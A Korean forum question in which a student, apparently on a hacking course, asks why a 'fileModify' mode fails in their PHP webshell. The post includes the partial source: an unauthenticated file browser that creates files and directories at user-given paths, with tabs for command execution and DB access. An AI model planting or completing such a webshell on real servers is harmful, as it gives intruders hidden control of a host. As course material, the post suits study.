fileModify버튼 클릭시 문의

안녕하세요 강사님 <? } else if($mode == "fileModify") { ?>
<textarea class="form-control" rows="3"></textarea>
<? } ?> 부분을 추가하여 파일 수정 버튼을 클릭시 textarea 부분이 안생겨 문의 드립니다.
저 부분을 적용 후 해당 버튼 클릭하여 들어가면 위의 else if문이 안먹는건지 저부분을 불러오질 못합니다.(f12로 페이지 소스 확인시 저 위의 부분이 안보임

제 소스코드는 아래와 같습니다.

<?
header('Content-Type:text/html; charset=utf-8');
$mode = $_REQUEST["mode"];
$path = $_REQUEST["path"];
$page = basename($_SERVER["PHP_SELF"]);
$fileName = $_GET["fileName"];

if(empty($path)) {
$tempFileName = basename(__FILE__);
$tempPath = realpath(__FILE__);
$path = str_replace($tempFileName, "", $tempPath );
$path = str_replace("\\", "/", $path);
} else {
$path = realpath($path)."/";
$path = str_replace("\\", "/", $path);
}

# Mode Logic
if ($mode == "fileCreate"){
if(empty($fileName)){
echo "<script>alert('파일명이 입력되지 않았습니다.');history.back(-1);</script>";
exit();
}
$fp = fopen($path.$fileName, "w");
fclose($fp);
echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}' </script>";

} else if ($mode == "dirCreate"){
if(empty($fileName)){
echo "<script>alert('디렉터리명이 입력되지 않았습니다.');history.back(-1);</script>";
exit();
}
$dirPath = $path.$fileName;

if(is_dir($dirPath)){
echo "<script>alert('해당 디렉터리명이 존재합니다.');history.back(-1);</script>";
exit();
}

mkdir($dirPath);
echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}' </script>";

}

# Directory List Return Function
function getDirList($getPath) {
$listArr = array();
$handler = opendir($getPath);
while($file = readdir($handler)) {
if(is_dir($getPath.$file) == "1") {
$listArr[] = $file;
}
}
closedir($handler);
return $listArr;
}

# File List Return Function
function getFileList($getPath) {
$listArr = array();
$handler = opendir($getPath);
while($file = readdir($handler)) {
if(is_dir($getPath.$file) != "1") {
$listArr[] = $file;
}
}
closedir($handler);
return $listArr;
}
?>

<!DOCTYPE html>
<html lang="ko">
<head>
<title>Crehacktive webshell</title>

<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">

<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap-theme.min.css">

<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/js/bootstrap.min.js"></script>
<script>
function fileCreate(){
var fileName = frm.createFileName.value;
if(!fileName){
alert("파일명을 입력하세요.");
return;
}
location.href="<?=$page?>?mode=fileCreate&path=<?=$path?>&fileName=" + fileName;
}

function dirCreate(){
var fileName = frm.createFileName.value;
if(!fileName){
alert("디렉터리명을 입력하세요.");
return;
}
location.href="<?=$page?>?mode=dirCreate&path=<?=$path?>&fileName=" + fileName;
}

function fileModify(fileName){
location.href = "<?=$page?>?mode=fileModify@path=<?=$path?>&fileName=" + fileName;

}
</script>
</head>
<body>
<div class="container-fluid">
<div class="row">
<div class="col-md-3"></div>
<div class="col-md-6">
<h3>WebShell_Test <small>Create by Penta</small></h3>
<hr>
<ul class="nav nav-tabs">
<li role="presentation" <? if(empty($mode) || $mode == "fileBrowser") echo "class=\"active\"";?>><a href="<?=$page?>?mode=fileBrowser">File Browser</a></li>
<li role="presentation" <? if($mode == "fileUpload") echo "class=\"active\"";?>><a href="<?=$page?>?mode=fileUpload">File Upload</a></li>
<li role="presentation" <? if($mode == "command") echo "class=\"active\"";?>><a href="<?=$page?>?mode=command">Command Execution</a></li>
<li role="presentation" <? if($mode == "db") echo "class=\"active\"";?>><a href="<?=$page?>?mode=db">DB Connector</a></li>
<li role="presentation"><a href="<?=$page?>?mode=logout">Logout</a></li>
</ul>
<br>
<? if(empty($mode) || $mode == "fileBrowser") { ?>
<form action="<?=$page?>?mode=fileBrowser" method="GET" >
<div class="input-group">
<span class="input-group-addon">Current Path</span>
<input type="text" class="form-control" placeholder="Path Input..." name="path" value="<?=$path?>">
<span class="input-group-btn">
<button class="btn btn-default" type="submit">Move</button>
</span>
</div>
</form>
<hr>
<div class="table-responsive">
<table class="table table-bordered table-hover" style="table-layout: fixed; word-break: break-all;">
<thead>
<tr class="info">
<th style="width: 50%" class="text-center">Name</th>
<th style="width: 14%" class="text-center">Type</th>
<th style="width: 18%" class="text-center">Date</th>
<th style="width: 18%" class="text-center">Action</th>
</tr>
</thead>
<tbody>
<?
$dirList = getDirList($path);
for($i=0; $i<count($dirList); $i++) {
if($dirList[$i] != ".") {
$dirDate = date("Y-m-d H:i", filemtime($path.$dirList[$i]));
?>
<tr>
<td style="vertical-align: middle" class="text-primary"><b><span class="glyphicon glyphicon-folder-open" aria-hidden="true"></span>  <a href="<?=$page?>?mode=fileBrowser&path=<?=$path?><?=$dirList[$i]?>"><?=$dirList[$i]?></a></b></td>
<td style="vertical-align: middle" class="text-center"><kbd>Directory</kbd></td>
<td style="vertical-align: middle" class="text-center"><?=$dirDate?></td>
<td style="vertical-align: middle" class="text-center">
<div class="btn-group btn-group-sm" role="group" aria-label="...">
<? if($dirList[$i] != "..") { ?>
<button type="button" class="btn btn-warning" title="File Delete"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button>
</div>
<? } ?>
</td>
</tr>
<?
}
}
?>
<?
$fileList = getFileList($path);
for($i=0; $i<count($fileList); $i++) {
$fileDate = date("Y-m-d H:i", filemtime($path.$fileList[$i]));
?>
<tr>
<td style="vertical-align: middle"><span class="glyphicon glyphicon-file" aria-hidden="true"></span>  <?=$fileList[$i]?></td>
<td style="vertical-align: middle" class="text-center"><kbd>File</kbd></td>
<td style="vertical-align: middle" class="text-center"><?=$fileDate?></td>
<td style="vertical-align: middle" class="text-center">
<div class="btn-group btn-group-sm" role="group" aria-label="...">
<button type="button" class="btn btn-success" title="File Download"><span class="glyphicon glyphicon-download-alt" aria-hidden="true"></span></button>
<button type="button" class="btn btn-info"title="File Modify" onclick="fileModify('<?=$fileList[$i]?>')"><span class="glyphicon glyphicon-refresh" aria-hidden="true"></span></button>
<button type="button" class="btn btn-warning" title="File Delete"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button>
</div>
</td>
</tr>
<? } ?>
</tbody>
</table>
</div>
<hr>
<form name="frm">
<div class="input-group">
<input type="text" class="form-control" placeholder="File/Directory Name Input..." name="createFileName"">
<span class="input-group-btn">
<button class="btn btn-default" type="button" onclick="fileCreate()">File Create</button>
<button class="btn btn-default" type="button" onclick="dirCreate()">Directory Create</button>
</span>
</div>
</form>

<? } else if($mode == "fileModify") { ?>
<textarea class="form-control" rows="3"></textarea>
<? } ?>

<hr>
<p class="text-mute text-center">CopyRight 2022, Penta, All Rights reserved. </p>
</div>
<div class="col-md-3"></div>
</div>
</div>
</body>
</html>

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